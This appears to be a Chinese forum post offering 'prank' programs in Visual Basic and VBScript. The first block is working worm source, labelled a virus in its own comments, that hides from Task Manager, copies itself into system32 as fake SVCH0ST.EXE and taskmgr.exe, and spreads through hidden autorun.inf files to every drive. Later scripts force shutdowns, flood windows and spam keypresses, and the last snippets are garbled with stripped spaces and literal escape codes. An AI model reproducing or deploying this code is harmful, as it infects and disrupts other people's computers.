给几个VB整人程序的代码。。耍耍人。呵呵

Dim num, nums '驱动器数

Dim i As Integer '文件号

Dim j As Integer 'FOR用的变量!

Private Sub Form_Load() '程序初始化！

'不准重复运行本病毒！

If App.PrevInstance Then

End

End If

'在任务管理器中隐身！

App.TaskVisible = False

'病毒自我保护函数

a0

auts

'得到当前驱动器数！

a2

'设置时间：为5000 MS 检查一次(5秒)

t1.Interval = 5000

t1.Enabled = True

End Sub

Sub a0() '病毒自我保护函数

Dim temp As String

Dim temp2 As String

On Error Resume Next

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

'得到系统目录！得到后，自我复制到SYSTEM32下！

For j = 0 To aa.ListCount - 1

temp2 = Trim(aa.List(j)) &"\windows"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

temp2 = Trim(aa.List(j)) &"\WINNT"

If Dir(temp2, vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

GoTo zz1

Else

FileCopy temp, Trim(aa.List(j)) &"\winnt\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\WINNT\system32\dllcache\taskmgr.exe"

End If

Else

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\SVCH0ST.EXE"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"\windows\system32\dllcache\taskmgr.exe"

FileCopy temp, Trim(aa.List(j)) &"C:\WINDOWS\ServicePackFiles\i386\taskmgr.exe"

End If

zz1:

Next

End Sub

Sub a1() '感染函数

Dim temp As String

Dim temp2 As String

temp = Trim(App.Path) &"\" &Trim(App.EXEName) &".exe"

For j = nums + 1 To num

temp2 = Trim(aa.List(j)) &"\auto.exe"

FileCopy temp, temp2

i = FreeFile

Open Trim(aa.List(j)) &"\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=auto.exe"

Close #i

SetAttr Trim(aa.List(j)) &"\autorun.inf", vbHidden

SetAttr Trim(aa.List(j)) &"\auto.exe", vbHidden

Next

End Sub

Sub a2() '得到当前驱动器数！

num = aa.ListCount - 1

If Dir("c:\.a", vbDirectory or vbHidden or vbNormal or vbReadOnly) = Empty Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End Sub

Private Sub t1_Timer() '时间函数

num = aa.ListCount - 1

i = FreeFile

Open "c:\.a" For Input As #i

Line Input #i, nums

Close #i

nums = Trim(nums)

nums = Int(nums)

If num <>nums Then

If num >nums Then

a1

End If

If num <nums Then

i = FreeFile

Open "c:\.a" For Output As #i

Print #i, num

Close #i

End If

End If

aa.Refresh

End Sub

Sub bat() '写自我删除程序

On Error Resume Next

i = FreeFile

Open App.Path &"\killme.bat" For Output As #i

Print #i, "@echo off"

Print #i, "sleep 1000"

Print #i, "del " &App.EXEName + ".exe"

Print #i, "del killme.bat"

Print #i, "cls"

Print #i, "exit"

Close #i

Shell App.Path &"\killme.bat", vbHide

End

End Sub

Sub auts() '自我感染全驱动器

On Error GoTo err1

Dim file_temp As String

i = FreeFile

Open "c:\autorun.inf" For Output As #i

Print #i, "[Autorun]"

Print #i, "open=autorun.exe"

Close #i

file_temp = Trim(App.Path &"\" &App.EXEName &".exe")

FileCopy file_temp, "c:\autorun.exe"

SetAttr "c:\autorun.inf", vbHidden

SetAttr "c:\autorun.exe", vbHidden

Dim dirid As Integer

For dirid = 100 To 122

MsgBox Chr(dirid)

FileCopy "c:\autorun.exe", Chr(dirid) &":\autorun.exe"

FileCopy "c:\autorun.inf", Chr(dirid) &":\autorun.inf"

SetAttr Chr(dirid) &":\autorun.inf", vbHidden

SetAttr Chr(dirid) &" :\autorun.exe", vbHidden

Next

err1:

End Sub

后缀改为vbs

CreateObject ("SAPI.SpVoice").Speak "Although you now just like an apple, be had gone, but you don't be sad, if that person is me, I will be a finished, ha ha ha ha! "

WScript.Echo("怎么样，感动吗？")

WScript.Echo("是不是要感谢我？")

WScript.Echo("你是不是想对我说那句英语？")

CreateObject ("SAPI.SpVoice").Speak "I LOVE YOU"

WScript.Echo("你这么说我可真高兴呀！")

WScript.Echo("我要奖励你.....")

CreateObject ("SAPI.SpVoice").Speak "In this way, I send you a hamburger, but a second after the change to me, I need to eat."

WScript.Echo("感谢我吧！")

WScript.Echo("你说什么？")

WScript.Echo("汉堡包我当然是留给自己吃！")

WScript.Echo("呵呵，你也想吃呀，我就告诉你句英语。")

CreateObject ("SAPI.SpVoice").Speak "Would you like me to the hamburger, I would like a hamburger for you, strange! This burger is the best to eat, your very!"

WScript.Echo("请问你拉着我的脚干嘛？")

WScript.Echo("别学习乞丐呀！")

WScript.Echo("我真不舍得给你吃。")

CreateObject ("SAPI.SpVoice").Speak "What are you doing, I want to eat hamburgers!"

WScript.Echo("唉，我才刚吃一口，多香呀，你干嘛.....")

WScript.Echo("哈哈，你这眼神.")

WScript.Echo("我说.")

CreateObject ("SAPI.SpVoice").Speak "Hamburger hamburger I do not give you, I tell you where to buy what."

WScript.Echo("你这么不给面子，你将会收到应有的惩罚！")

CreateObject ("SAPI.SpVoice").Speak "You beast! To steal my burger, ready for shutdown!"

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我不吃汉堡，不说就20秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我不吃汉堡")

a = inputbox ("说我不吃汉堡,就不关机，快撒，说 ""我不吃汉堡"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,汉堡你别想吃。"

WScript.Echo("对了，你可以去借钱。")

WScript.Echo("我忘了你没钱啊！哈哈！")

WScript.Echo("看你呆呆的眼神..不会.....")

CreateObject ("SAPI.SpVoice").Speak "I faint! Borrow money from me? I tell you! I have no money!"

WScript.Echo("打车回家吧。")

WScript.Echo("今天我放过你，明天！你等死！")

1、窗口炸d\x0d\x0aPrivateSubForm_Load()\x0d\x0aFora=1To10\x0d\x0aShell"cmd/cecho轰隆——一切的全完了！&pause",vbNormalFocus\x0d\x0aNext\x0d\x0aEndSub\x0d\x0a2、数羊程序\x0d\x0aPrivateSubForm_Load()\x0d\x0aMsgBox"困死我了，睡不着，帮我数羊",,"数羊"\x0d\x0aMsgBox"就一百只羊吧！",,"数羊"\x0d\x0aFora=1To100\x0d\x0aMsgBoxa&"只羊",,"数羊"\x0d\x0aNext\x0d\x0aMsgBox"身边没个人，好孤单，好寂寞??","64","数羊"\x0d\x0aShell"shutdown-s-t0"\x0d\x0aEndSub\x0d\x0a3、按十万次回车\x0d\x0aPrivateSubForm_Load()\x0d\x0aFora=1To100000\x0d\x0aSendKeys"{enter}"\x0d\x0aNext\x0d\x0aEndSub

---